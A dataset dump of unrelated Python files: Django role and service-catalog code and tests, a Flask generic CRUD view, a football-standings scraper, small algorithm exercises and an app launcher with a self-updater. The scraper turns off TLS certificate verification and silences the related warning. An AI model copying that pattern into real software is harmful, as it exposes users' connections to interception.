display_stdout=False,\n display_stderr=False,\n raise_on_error=True)\n return res.stdout\n","sub_path":"src/system_cmd/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"564104801","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom pycompss.api.task import task\nfrom pycompss.api.parameter import *\n\nimport sys\nimport time\nimport random\n\n\n@task(returns=str)\ndef consumer(wait_time):\n print(\"Time to wait: \", wait_time)\n time.sleep(wait_time)\n localtime = time.localtime()\n timestamp_str = str(time.strftime(\"%b %d %Y %H:%M:%S\", localtime))\n print(\"Task completed\")\n return timestamp_str\n\n\ndef producer(nfrag, min_time, max_time):\n\n from pycompss.api.api import compss_wait_on\n time_list = [random.uniform(min_time, max_time) for _ in range(nfrag)]\n result = [consumer(i) for i in time_list]\n result = compss_wait_on(result)\n print (result)\n\n\nif __name__ == \"__main__\":\n\n nfrag = int(sys.argv[1]) if sys.argv[1] is not None else 32\n min_time = int(sys.argv[2]) if sys.argv[2] is not None else 10\n max_time = int(sys.argv[3]) if sys.argv[3] is not None else 30\n producer(nfrag, min_time, max_time)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"399072377","text":"from django.urls import reverse\n\nfrom service_catalog.models import Operation, Service, OperationType\nfrom tests.test_service_catalog.base import BaseTest\n\n\nclass ServiceDeleteTestCase(BaseTest):\n\n def setUp(self):\n super(ServiceDeleteTestCase, self).setUp()\n args = {\n \"service_id\": self.service_test.id\n }\n self.url = reverse('service_catalog:edit_service', kwargs=args)\n self.data = {\n \"name\": \"service-test-updated\",\n \"description\": \"description-of-service-test-updated\",\n \"billing\": \"defined\",\n \"billing_group_id\": \"\",\n \"billing_group_is_shown\": \"on\",\n \"enabled\": False\n }\n\n def test_admin_can_edit_service(self):\n response = self.client.get(self.url)\n self.assertEquals(200, response.status_code)\n response = self.client.post(self.url, data=self.data)\n self.assertEquals(302, response.status_code)\n self.service_test.refresh_from_db()\n self.assertEquals(self.service_test.name, \"service-test-updated\")\n self.assertEquals(self.service_test.description, \"description-of-service-test-updated\")\n\n def test_standard_user_cannot_edit_service(self):\n self.client.login(username=self.standard_user, password=self.common_password)\n response = self.client.get(self.url)\n self.assertEquals(302, response.status_code)\n response = self.client.post(self.url, data=self.data)\n self.assertEquals(302, response.status_code)\n self.service_test.refresh_from_db()\n self.assertEquals(self.service_test.name, \"service-test\")\n self.assertEquals(self.service_test.description, \"description-of-service-test\")\n\n def test_hide_service_after_disabled(self):\n service_count = Service.objects.all().count()\n response = self.client.get(reverse(\"service_catalog:service_list\"))\n self.assertEquals(200, response.status_code)\n self.assertEquals(response.context[\"services\"].count(), service_count)\n self.client.post(self.url, data=self.data)\n self.service_test.refresh_from_db()\n self.assertFalse(self.service_test.enabled)\n response = self.client.get(reverse(\"service_catalog:service_list\"))\n self.assertEquals(200, response.status_code)\n self.assertEquals(response.context[\"services\"].count(), service_count - 1)\n response = self.client.get(reverse(\"service_catalog:customer_service_request\",\n kwargs={'service_id': self.service_test.id}))\n self.assertEquals(404, response.status_code)\n","sub_path":"tests/test_service_catalog/test_views/test_admin/test_settings/test_catalog/test_services/test_edit.py","file_name":"test_edit.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"501565837","text":"import math\nfrom django.contrib.auth.models import Group\nfrom utils.api import APIView, JSONResponse\nfrom ..serializers import RoleSerializers\nfrom ..models import Role, Permission\n\n\nclass GetRoleAPI(APIView):\n response_class = JSONResponse\n # get方法,参数用params放在url后面\n\n def get(self, request):\n # get information from frontend\n try:\n id = int(request.GET.get('id_role'))\n except Exception as exception:\n msg = \"id_role:%s\\n\" % (request.GET.get('id_role'))\n return self.error(err=[400, msg])\n try:\n role = Role.objects.get(group_id=id)\n ansDict = RoleSerializers(role).data\n ansDict['name'] = role.group.name\n return self.success(ansDict)\n except Exception as exception:\n return self.error(err=exception.args)\n\n\nclass DeleteRoleAPI(APIView):\n response_class = JSONResponse\n\n def post(self, request):\n response_object = dict()\n try:\n id = int(request.data.get('id'))\n except Exception as exception:\n msg = \"id:%s\\n\" % (request.data.get('id'))\n return self.error(err=[400, msg])\n try:\n role = Role.objects.get(group_id=id)\n group = Group.objects.get(id=role.group_id)\n group.delete()\n role.delete()\n response_object[\"state_code\"] = 0\n return self.success(response_object)\n except Exception as exception:\n response_object[\"state_code\"] = -1\n return self.error(err=exception.args, msg=response_object)\n\n\nclass CreateRoleAPI(APIView):\n response_class = JSONResponse\n\n def post(self, request):\n response_object = dict()\n try:\n name = request.data.get('name')\n description = request.data.get('description')\n permission = request.data.get('permission')\n if(name is None or description is None or permission is None):\n raise Exception()\n except Exception as exception:\n msg = \"name:%s, description:%s\\n\" % (\n request.data.get('name'),\n request.data.get('description'),\n request.data.get('permission'))\n return self.error(err=[400, msg])\n try:\n # insert new role into database\n Group.objects.create(name=name)\n group = Group.objects.get(name=name)\n role = Role.objects.create(group=group, description=description)\n for per in permission:\n role.permission.add(Permission.objects.get(id=per))\n response_object[\"state_code\"] = 0\n return self.success(response_object)\n except Exception as exception:\n response_object[\"state_code\"] = -1\n return self.error(err=exception.args, msg=response_object)\n\n\nclass GetRoleListAPI(APIView):\n response_class = JSONResponse\n\n def post(self, request):\n response_object = dict()\n # get information from frontend\n try:\n items = int(request.data.get('items_per_page'))\n page = int(request.data.get('page'))\n searchDict = request.data.get(\"search_request\")\n if(searchDict['role_id'] != \"\"):\n id = int(searchDict['role_id'])\n name = searchDict[\"role_name\"]\n description = searchDict[\"role_description\"]\n except Exception as exception:\n return self.error(err=[400])\n try:\n if(searchDict['role_id'] != \"\"):\n roles = Role.objects.filter(\n description__contains=description,\n group_id=id)\n else:\n roles = Role.objects.filter(description__contains=description)\n ans = []\n for role in roles:\n if(name in role.group.name):\n ans.append(role)\n roleList = []\n pages = math.ceil(ans.__len__() / items)\n for item in ans:\n roleDict = dict()\n roleDict['id_role'] = item.group.id\n roleDict['name'] = item.group.name\n roleDict['description'] = item.description\n roleDict['role_number'] = item.group.user_set.count()\n roleList.append(roleDict)\n if(roleList.__len__() <= items * (page - 1)):\n roleList = []\n else:\n start = items * (page - 1)\n roleList = roleList[start:start + items]\n response_object['current_page'] = page\n response_object['total_pages'] = pages\n response_object['roles'] = roleList\n return self.success(response_object)\n except Exception as exception:\n return self.error(err=exception.args)\n\n\nclass ModifyRoleAPI(APIView):\n response_class = JSONResponse\n\n def post(self, request):\n response_object = dict()\n try:\n id = request.data.get('id_role')\n name = request.data.get('name')\n description = request.data.get('description')\n permission = request.data.get('permission')\n if(name is None or description is None or permission is None):\n raise Exception()\n except Exception as exception:\n msg = \"name:%s, description:%s\\n\" % (\n request.data.get('name'),\n request.data.get('description'),\n request.data.get('permission'))\n return self.error(err=[400, msg])\n try:\n # update role\n Group.objects.filter(id=id).update(name=name)\n Role.objects.filter(group_id=id).update(\n description=description)\n role = Role.objects.get(group_id=id)\n role.permission.clear()\n for per in permission:\n role.permission.add(Permission.objects.get(id=per))\n response_object[\"state_code\"] = 0\n return self.success(response_object)\n except Exception as exception:\n response_object[\"state_code\"] = -1\n return self.error(err=exception.args, msg=response_object)\n","sub_path":"user/views/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"363356232","text":"# YouTube Link:\n\n# Let's obtain the links from the following website:\n# https://www.lfp.fr/ligue1/classement?cat=Gen\n\n# One of the things this website consists of is records of presidential\n# briefings and statements.\n\n# Goal: Extract all of the links on the page that point to the\n# briefings and statements.\n\ndebug = False\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nfrom bs4 import BeautifulSoup\n\nurl = \"https://www.lfp.fr/ligue1/classement?cat=Att\"\nj=input('Quelle journee ? (0 pour derniere journee) : ')\nif j:url = \"https://www.lfp.fr/ligue1/classement?journee1=0&journee2=\"+str(j)+\"&cat=Gen\"\n\nresult = requests.get(url, verify=False)\nsrc = result.content\nsoup = BeautifulSoup(src, 'lxml')\ndiv = soup.find_all('div')\nif debug : print('div',div)\nurls = []\n\nid_tag = soup.find(id='classement_l1')\nthead_tag = id_tag.find_all('thead')\ntr_tag = id_tag.find_all('tr')\nj_tag = soup.find(id='journee2')\n\ndef hasSelected(tag):\n if tag.name != 'option':\n return False\n try:\n if tag['selected']: return True\n except:\n return False\n#search texte journee j\nselect_tag = soup.find_all('select')\n#if debug : print('select_tag',select_tag[0].contents)\nfor child in select_tag[0].children: \n if hasSelected(child):\n saison=child.text\n break\n\nfor child in select_tag[2].children: \n if hasSelected(child):\n journee=child.text\n break\n\nimport collections\nteams=[]\nTeam = collections.namedtuple(\"Team\", ['Position', 'Club', 'Pts', 'J', 'G', 'N', 'P', 'Bp', 'Bc', 'Diff'], rename=False)\n\nprint('Classement Domicile',saison,journee)\n\ndata=[]\nfor t in thead_tag:\n d=()\n child=t.findChildren('th')\n for c in child:\n d+=(c.text,)\n if debug : print(c.text,end='\\t')\n\ndata.append(d)\nif debug : print()\nif debug : print('data_head',data,'end')\n\npos=0\n\nfor a in tr_tag[1:]:\n pos+=1\n d=()\n child=a.findChildren('td')\n for c in child:\n if (c.string is None):\n d+=(c.findChild().text.strip(),)\n #if debug : print(c.findChild().text.strip(),end='\\t')\n else:\n d+=(c.text,)\n #if debug : print(c.string,end='\\t')\n if debug : print(d)\n \n data.append(d)\n teams.append(Team(*d))\n\n'''\nfor k in data:\n if debug : print(k,len((k)))\n print('%8s\\t%-25s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s' % k)\n #if debug : print('%s\\t%s\\t\\t\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s' % ('Position', 'Club', 'Pts', 'J', 'G', 'N', 'P', 'Bp', 'Bc', 'Diff.'))\n #if debug : print(\"{}\\t{}\\t\\t\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}{}\".format(*k))\n'''\ndef ratio(t,p):\n return int((int(p)/int(t.J))*100)/100\n\n\ndef statistics():\n print('%25s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s' % ('Club','Pts','J','G','N','P','Bp','Bc','Diff','Pts/J','Bp/J','Bc/J'))\n for t in teams:\n print('%25s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s' % (t.Club,t.Pts,t.J,t.G,t.N,t.P,t.Bp,t.Bc,t.Diff,round((3*int(t.G)+int(t.N))/int(t.J),2),round(int(t.Bp)/int(t.J),2),round(int(t.Bc)/int(t.J),2)))\n\nprint() \nstatistics()","sub_path":"ligue1_att.py","file_name":"ligue1_att.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"87454359","text":"#!/usr/bin/python3\n\n# @Project = leetCode\n# @File : 7_Reverse_Integer\n# @Author : TCY\n# @Time : 2018/9/22 21:18\n# @Email : tangcaiyuan@hust.edu.cn\n# @Software: PyCharm\n\n\"\"\"\n题目描述:\nhttps://leetcode-cn.com/problems/reverse-integer/description/\n思路:\n1、转换成string,然后[::-1]\n2、利用除法,获取不同位上的值\n注意:\n1、python中虽然不存在溢出这一说,但是C++中则需要考虑到溢出的问题。\n 容易溢出的点:INT_MIN * -1; a * 10需要考虑是否溢出;\n\"\"\"\n\n\n\"\"\"C++版本\n#include \"limits.h\"\nclass Solution {\npublic:\n int reverse(int x) {\n bool flag = true;\n long long y = (long long)x;\n if (y < 0){\n flag = false; y = -y;\n }\n int tmp = 0;\n long long ans = 0;\n while (y){\n tmp = y % 10;\n if (flag){\n if (ans * 10 + tmp > 0x7fffffff){\n return 0;\n }\n }else{\n if (-(ans*10+tmp) < (int)0x80000000){\n return 0;\n }\n }\n ans = ans * 10 + tmp;\n y = y / 10;\n }\n if (flag == false){\n ans = -ans;\n }\n return ans;\n }\n};\n\"\"\"\n\nclass Solution:\n def reverse1(self, x):\n \"\"\"\n :type x: int\n :rtype: int\n \"\"\"\n flag = 0\n if x < 0:\n x = -x\n flag = 1\n x_str = str(x)\n x_str = x_str[::-1]\n x = int(x_str)\n if flag:\n x = -x\n if abs(x) > 0x7FFFFFFF:\n return 0\n return x\n\n def reverse2(self, x):\n a = abs(x)\n r = 0\n while a:\n r = r * 10 + a % 10\n a = a // 10\n if x < 0:\n r = -r\n if abs(r) > 0x7FFFFFFF:\n return 0\n return r\n\n\nif __name__ == '__main__':\n print(Solution().reverse1(39979))\n","sub_path":"1-50/007_Reverse_Integer.py","file_name":"007_Reverse_Integer.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"117328467","text":"import math\n\na = int(input(\"Erste Zahl: \"))\nb = int(input(\"Zweite Zahl: \"))\n\ndef ggT(a,b):\n\n while(a != b):\n\n if(b > a):\n tempA = a\n tempB = b\n b = tempA\n a = tempB\n\n a = a -b\n\n print(\"ggT: \" + str(a))\n\nggT(a,b)","sub_path":"ggT.py","file_name":"ggT.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"226848823","text":"from os import path\nimport sys\nfrom flask import render_template, Blueprint, flash, redirect, request, url_for\nfrom flask.views import View\nfrom flask_babel import lazy_gettext as _\nfrom ..auth.decorators import permission_required\nfrom ..extentions import db\nfrom flask_login import login_required, current_user\nimport logging, sys, os\n#logging.basicConfig(filename='example.log', level=logging.DEBUG)\nfrom werkzeug.utils import secure_filename\nfrom ..config import Config\nimport pdb\n# based on global variables so every form and model used needs to be imported\nfrom ..auth.models import Permission, User\nfrom .forms import WorkflowForm, TaskForm, TaskAssignmentForm, WorkflowFunctionForm, TaskActionForm, \\\n FunctionAssignmentForm, FunctionToTaskAssignmentForm, FunctionToUserAssignmentForm\nfrom .models import Workflow, WorkflowFunction, Task, TaskAction, TaskAssignment, FunctionAssignment, \\\n FunctionToTaskAssignment, FunctionToUserAssignment, ItemInstance, ItemInstanceElementValue\nfrom ..item_packs.models import ItemObject, ItemElement, ItemElementType, ItemElementAssignment, ItemType,\\\n CompoundElementsValue,ItemCompoundElement, ItemCompoundElementAssignment, VerificationCriteriaHeader, VerificationCriteriaLines\nfrom ..item_packs.forms import *\nfrom ..data_sources.forms import *\nfrom ..data_sources.models import DataSourceInfo, DataSourceQueryInfo\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in Config.ALLOWED_EXTENSIONS\n\n\nclass CrudView(View):\n \"\"\"\n Class allows generic operations of CRUD based on child and praent classes defined\n\n Assign table needs modelname_id field ans childmodelname columns\n Edit assign table form needs field childedit (hiddenfiled)\n Each form requires filed id = HiddenField('ID')\n\n Each child table model (many to many) requires function show_items that returns a dictionary of fields and the source table\n Eithre child table or connector (assign table)\n example: return {'child':'task', 'name':'child', 'description':'child','task_order':'connector'}\n\n Assign table need to have relationship column with child name, not only id example:\n Table name is TaskAction\n taskaction_id = db.Column(db.Integer, db.ForeignKey('task_actions.id'), primary_key=True)\n taskaction = db.relationship('TaskAction', backref='function_assigned')\n\n \"\"\"\n\n def check_permission(self, level):\n perm = Permission.query.filter_by(name=self.get_model_name() + 's').first()\n if perm is None:\n return False\n permission = perm.name\n if not any(perm.permission.name == permission for perm in current_user.role.permissions):\n return False\n for perm in current_user.role.permissions:\n if perm.permission.name == permission and level not in perm.permission_level:\n return False\n return True\n\n def get_model_name(self):\n raise NotImplementedError()\n\n def get_child_model_name(self):\n return None\n\n def get_second_child_model_name(self):\n return None\n\n def get_child_assoc_model_name(self):\n return None\n\n def get_second_child_assoc_model_name(self):\n return None\n\n def get_child_form_items(self):\n return globals()[self.get_child_model_name()]().show_items()\n\n def get_second_child_form_items(self):\n return globals()[self.get_second_child_model_name()]().show_items()\n\n def add_select_criteria(self):\n add_select_criteria = getattr(globals()[self.get_child_assoc_model_name()], \"add_select_criteria\", None)\n if callable(add_select_criteria):\n return add_select_criteria()\n else:\n return []\n\n def add_select_criteria2(self):\n add_select_criteria = getattr(globals()[self.get_second_child_assoc_model_name()], \"add_select_criteria\", None)\n if callable(add_select_criteria):\n return add_select_criteria()\n else:\n return []\n\n def has_process_form_additional(self):\n process_form = getattr(globals()[self.get_model_name()], \"process_form\", None)\n if callable(process_form):\n return True\n else:\n return False\n\n def get_template_name(self):\n return self.get_model_name().lower() + 's.html'\n\n def get_objects(self):\n return globals()[self.get_model_name()].query.all()\n\n def get_form(self):\n form_name = self.get_model_name() + 'Form'\n return globals()[form_name]()\n\n def get_url(self, flag):\n if flag == 'Add':\n url_path = request.blueprint + '.' + self.get_model_name().lower() + 's'\n elif flag == 'Edit':\n url_path = request.blueprint + '.' + self.get_model_name().lower() + 's_edit'\n return url_path\n\n def get_object_to_create(self, myid=None):\n if myid is None:\n form = self.form\n form_items = self.get_form_items()\n if 'id' in form_items and form.data.get('id') != '':\n object_to_create = globals()[self.get_model_name()].query.filter_by(id=form.id.data).first()\n elif 'name' in form_items:\n object_to_create = globals()[self.get_model_name()](name=form.name.data)\n\n if not object_to_create:\n return None\n\n [setattr(object_to_create, item, form.data.get(item)) for item in form_items if item != 'id']\n if self.has_process_form_additional():\n object_to_create.process_form(form)\n\n else:\n object_to_create = globals()[self.get_model_name()].query.filter_by(id=myid).first()\n return object_to_create\n\n def render_template(self, context):\n return render_template(self.get_template_name(), **context)\n\n def render_delete_template(self, context):\n return render_template('delete.html', **context)\n\n def get_form_items(self):\n return [a for a in dir(self.form) if not a.startswith('__')]\n\n def get_realchild_form_items(self):\n return [a for a in dir(self.childform) if not a.startswith('__')]\n\n def get_child_form(self):\n form_name = self.get_child_assoc_model_name() + 'Form'\n return globals()[form_name]()\n\n def get_second_child_form(self):\n form_name = self.get_second_child_assoc_model_name() + 'Form'\n return globals()[form_name]()\n\n def dispatch_request(self):\n if not self.check_permission('R'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for('hello'))\n context = {'objects': self.get_objects(), 'form': self.get_form(), 'flag': 'Add'}\n if request.method == 'POST' and request.form.get('childedit', None) is not None:\n # we are about to modify a child item of a object given i.e. Task assigned to workflow template\n if not self.check_permission('U'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n self.childform = self.get_child_form()\n if self.childform.validate_on_submit():\n col_name = {self.get_model_name().lower() + '_id': request.form.get('id'),\n self.get_child_model_name().lower() + '_id': request.form.get(\n self.get_child_model_name().lower())}\n # to allow to specify further columns to select child assignment object other than parent id and child\n # there needs to be a function in child model: add_select_criteria() returning list of fields\n # that of course needs to be also in corresponding form - to populate it for search criteria\n criterias = self.add_select_criteria()\n for criteria in criterias:\n col_name[criteria] = request.form.get(criteria.lower())\n\n item_assigned = globals()[self.get_child_assoc_model_name()].query.filter_by(**col_name).first()\n if not item_assigned:\n item_assigned = globals()[self.get_child_assoc_model_name()]()\n # adding id of a parent couse it is not specific in form\n setattr(item_assigned, self.get_model_name().lower() + '_id', request.form.get('id'))\n\n for item in self.get_realchild_form_items():\n if getattr(item_assigned, item, False) != False:\n setattr(item_assigned, item, self.childform.data.get(item))\n\n db.session.add(item_assigned)\n db.session.commit()\n flash(_('Selected operation completed successfully'), 'success')\n return redirect(url_for(self.get_url('Edit')))\n\n flash(_('Improper data issued in form - try again'), 'danger')\n return redirect(url_for(self.get_url('Edit')))\n\n elif request.method == 'POST' and request.form.get('childedit2', None) is not None:\n if not self.check_permission('U'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n self.childform = self.get_second_child_form()\n if self.childform.validate_on_submit():\n col_name = {self.get_model_name().lower() + '_id': request.form.get('id'),\n self.get_second_child_model_name().lower() + '_id': request.form.get(\n self.get_second_child_model_name().lower())}\n # to allow to specify further columns to select child assignment object other than parent id and child\n # there needs to be a function in child model: add_select_criteria() returning list of fields\n # that of course needs to be also in corresponding form - to populate it for search criteria\n criterias = self.add_select_criteria2()\n for criteria in criterias:\n col_name[criteria] = request.form.get(criteria.lower())\n\n item_assigned = globals()[self.get_second_child_assoc_model_name()].query.filter_by(**col_name).first()\n if not item_assigned:\n item_assigned = globals()[self.get_second_child_assoc_model_name()]()\n # adding id of a parent couse it is not specific in form\n setattr(item_assigned, self.get_model_name().lower() + '_id', request.form.get('id'))\n\n for item in self.get_realchild_form_items():\n if getattr(item_assigned, item, False) != False:\n setattr(item_assigned, item, self.childform.data.get(item))\n\n db.session.add(item_assigned)\n db.session.commit()\n flash(_('Selected operation completed successfully'), 'success')\n return redirect(url_for(self.get_url('Edit')))\n\n flash(_('Improper data issued in form - try again'), 'danger')\n return redirect(url_for(self.get_url('Edit')))\n\n elif request.method == 'POST' and request.form.get('delete_' + self.get_model_name().lower() + '_id',\n None) is not None:\n if not self.check_permission('D'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n\n item_to_edit = self.get_object_to_create(\n request.form.get('delete_' + self.get_model_name().lower() + '_id'))\n\n if request.form.get('deleteitem', None) is not None and item_to_edit is not None:\n db.session.delete(item_to_edit)\n db.session.commit()\n flash(_('Selected item removed'), 'success')\n return redirect(url_for(self.get_url('Add')))\n\n else:\n self.form = self.get_form()\n if item_to_edit is None:\n flash(_('Selected item does not exist'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n mydata = {}\n mydata['class'] = item_to_edit.__class__.__name__\n mydata['blueprint'] = request.blueprint\n for item in self.get_form_items():\n if getattr(item_to_edit, item, False) != False:\n mydata[item] = getattr(item_to_edit, item)\n\n context['item'] = mydata\n return self.render_delete_template(context)\n\n elif request.method == 'POST' and request.form.get('delete_child_assigned',\n None) is not None:\n\n item_to_edit = None\n # we are removing child associated with the model or second_child\n if not self.check_permission('D'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n\n if self.get_child_model_name() is not None:\n if request.form.get('delete_child_' + self.get_child_assoc_model_name().lower() + '_id',\n None) is not None:\n col_name = {\n self.get_model_name().lower() + '_id': request.form.get('delete_child_' +self.get_model_name().lower() + '_id'),\n self.get_child_model_name().lower() + '_id': request.form.get('delete_child_' + self.get_child_model_name().lower() + '_id')\n }\n criterias = self.add_select_criteria()\n if len(criterias)>0:\n for criteria in criterias:\n col_name[criteria] = request.form.get('delete_child_' +criteria.lower())\n\n item_to_edit = globals()[self.get_child_assoc_model_name()].query.filter_by(**col_name).first()\n\n if self.get_second_child_model_name() is not None:\n if request.form.get('delete_child_' + self.get_second_child_assoc_model_name().lower() + '_id',\n None) is not None:\n col_name = {\n self.get_model_name().lower() + '_id': request.form.get('delete_child_' +self.get_model_name().lower() + '_id'),\n self.get_second_child_model_name().lower() + '_id': request.form.get('delete_child_' + self.get_second_child_model_name().lower() + '_id')\n }\n criterias = self.add_select_criteria2()\n if len(criterias)>0:\n for criteria in criterias:\n col_name[criteria] = request.form.get('delete_child_' +criteria.lower())\n\n item_to_edit = globals()[self.get_second_child_assoc_model_name()].query.filter_by(**col_name).first()\n\n\n if item_to_edit is not None:\n db.session.delete(item_to_edit)\n db.session.commit()\n flash(_('Selected item removed'), 'success')\n return redirect(url_for(self.get_url('Edit')))\n\n #pdb.set_trace()\n flash(_('Error - model id: '+str(request.form.get('delete_child_' +self.get_model_name().lower() + '_id'))), 'danger')\n return redirect(url_for(self.get_url('Edit')))\n\n\n elif request.method == 'POST' and request.form.get(self.get_model_name().lower() + '_id', None) is not None:\n if not self.check_permission('U'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n item_to_edit = self.get_object_to_create(request.form.get(self.get_model_name().lower() + '_id'))\n self.form = self.get_form()\n if item_to_edit is None:\n flash(_('Selected item does not exist'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n mydata = {}\n for item in self.get_form_items():\n if getattr(item_to_edit, item, False) != False:\n mydata[item] = getattr(item_to_edit, item)\n self.form.process(data=mydata)\n\n if self.get_child_model_name() is not None:\n col_name = {\n self.get_model_name().lower() + '_id': request.form.get(self.get_model_name().lower() + '_id')}\n items_assigned = globals()[self.get_child_assoc_model_name()].query.filter_by(**col_name)\n if items_assigned:\n children = []\n for item in items_assigned:\n item1 = {}\n child = globals()[self.get_child_model_name()].query.filter_by(\n id=getattr(item, self.get_child_model_name().lower() + '_id')).first()\n if self.get_child_form_items() is not None:\n for field in self.get_child_form_items():\n if self.get_child_form_items()[field] == 'child':\n if hasattr(child, field):\n item1[field] = getattr(child, field)\n else:\n if hasattr(item, field):\n item1[field] = getattr(item, field)\n else:\n item1['name'] = child.name\n item1['id'] = child.id\n\n children.append(item1)\n\n context['children'] = children\n\n form2 = globals()[self.get_child_assoc_model_name() + 'Form']()\n form2.id.data = item_to_edit.id\n form2.childedit.data = 1\n context['form2'] = form2\n\n if self.get_second_child_model_name() is not None:\n col_name = {\n self.get_model_name().lower() + '_id': request.form.get(self.get_model_name().lower() + '_id')}\n items_assigned = globals()[self.get_second_child_assoc_model_name()].query.filter_by(**col_name)\n if items_assigned:\n children2 = []\n for item in items_assigned:\n item1 = {}\n child = globals()[self.get_second_child_model_name()].query.filter_by(\n id=getattr(item, self.get_second_child_model_name().lower() + '_id')).first()\n if self.get_second_child_form_items() is not None:\n for field in self.get_second_child_form_items():\n if self.get_second_child_form_items()[field] == 'child':\n if hasattr(child, field):\n item1[field] = getattr(child, field)\n else:\n if hasattr(item, field):\n item1[field] = getattr(item, field)\n else:\n item1['name'] = child.name\n item1['id'] = child.id\n\n children2.append(item1)\n\n context['children2'] = children2\n\n form3 = globals()[self.get_second_child_assoc_model_name() + 'Form']()\n form3.id.data = item_to_edit.id\n form3.childedit2.data = 1\n context['form3'] = form3\n\n context['form'] = self.form\n context['flag'] = 'Edit'\n context['message'] = 'EDIT prepare'\n return self.render_template(context)\n\n elif request.method == 'POST':\n if not self.check_permission('C'):\n flash(_('You have insufficient permission to complete this action'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n self.form = self.get_form()\n if self.form.validate_on_submit():\n if request.form.get('datafile', None) is not None:\n self.upload_file(self.form.datafile.data)\n item_to_create = self.get_object_to_create()\n if item_to_create is None:\n flash(_('Selected item does not exist'), 'danger')\n return redirect(url_for(self.get_url('Add')))\n db.session.add(item_to_create)\n db.session.commit()\n flash(_('Selected operation completed successfully'), 'success')\n return redirect(url_for(self.get_url('Add')))\n flash(_('Invalid name.'), 'danger')\n return self.render_template(context)\n\n def upload_file(self, filename):\n if request.method == 'POST':\n logging.debug('Filename: ' + filename.name)\n # check if the post request has the file part\n if filename.name not in request.files:\n self.form.datafile.data = ''\n return\n file = request.files[filename.name]\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n return\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n basedir = os.path.abspath(os.path.dirname(__file__))\n file.save(os.path.join(basedir, Config.UPLOAD_FOLDER, filename))\n self.form.datafile.data = os.path.join(basedir, Config.UPLOAD_FOLDER, filename)\n","sub_path":"app/workflow/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":21803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"425251016","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom __future__ import annotations\n\nimport platform\nimport sys\nfrom contextlib import suppress\nfrom pathlib import Path\nfrom typing import Final, Sequence\n\n__author__: Final[str] = 'StSav012'\n__original_name__: Final[str] = 'psk_viewer'\n\n\ndef _version_tuple(version_string: str) -> tuple[int | str, ...]:\n result: tuple[int | str, ...] = tuple()\n part: str\n for part in version_string.split('.'):\n try:\n result += (int(part),)\n except ValueError:\n result += (part,)\n return result\n\n\nqt_list: Sequence[str]\nuname: platform.uname_result = platform.uname()\nif ((uname.system == 'Windows'\n and _version_tuple(uname.version) < _version_tuple('10.0.19044')) # Windows 10 21H2 or later required\n or uname.machine not in ('x86_64', 'AMD64')):\n qt_list = ('PyQt5',) # Qt6 does not support the OSes\nelse:\n qt_list = ('PyQt6', 'PySide6', 'PyQt5')\nif sys.version_info < (3, 11): # PySide2 does not support Python 3.11 and newer\n qt_list = *qt_list, 'PySide2'\n\nREQUIREMENTS: Final[list[str | Sequence[str]]] = ['qtpy',\n [qt + '.QtCore' for qt in qt_list],\n 'pandas',\n 'pyqtgraph',\n 'scipy']\n\n\nif __name__ == '__main__':\n def update() -> None:\n \"\"\" Download newer files from GitHub and replace the existing ones \"\"\"\n with suppress(BaseException): # ignore really all exceptions, for there are dozens of the sources\n import updater\n\n updater.update(__author__, __original_name__)\n\n\n def is_package_importable(package_name: str) -> bool:\n try:\n __import__(package_name, locals=locals(), globals=globals())\n except (ModuleNotFoundError, ):\n return False\n return True\n\n\n def make_old_qt_compatible_again() -> None:\n from qtpy import QT6, PYQT5\n from qtpy.QtCore import QLibraryInfo, Qt\n from qtpy.QtWidgets import QAbstractSpinBox, QApplication, QDialog\n\n if not QT6 and not PYQT5:\n QApplication.exec = QApplication.exec_\n QDialog.exec = QDialog.exec_\n\n if QT6:\n QLibraryInfo.LibraryLocation = QLibraryInfo.LibraryPath\n else:\n QApplication.setAttribute(Qt.ApplicationAttribute.AA_EnableHighDpiScaling)\n 